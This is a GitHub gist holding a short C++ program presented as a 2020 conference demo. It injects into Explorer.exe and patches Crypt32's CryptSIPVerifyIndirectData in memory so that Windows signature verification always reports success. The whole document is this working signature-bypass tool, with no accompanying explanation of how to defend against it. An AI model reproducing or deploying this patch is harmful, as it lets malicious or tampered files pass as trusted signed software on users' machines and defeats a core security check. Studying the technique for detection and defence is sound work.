Last active
May 3, 2024 22:14
-
-
Save aaaddress1/870d745741b276484219e1a3cda800ed to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// iThome 2020 Demo: Signature Patcher for Explorer | |
// author: aaaddress1@chroot.org | |
#include <iostream> | |
#include <Windows.h> | |
int main() { | |
DWORD explorer_pid; | |
GetWindowThreadProcessId(FindWindowA("Shell_TrayWnd", NULL), &explorer_pid); | |
if (HANDLE token = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorer_pid)) { | |
WriteProcessMemory(token, GetProcAddress(LoadLibraryA("Crypt32"), "CryptSIPVerifyIndirectData"), "\x48\x31\xC0\xFE\xC0\xC3", 6, NULL); | |
std::cout << "[+] Explorer.exe Patch Done." << std::endl; | |
} | |
else { | |
std::cout << "[!] Explorer.exe Alive yet?" << std::endl; | |
getchar(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment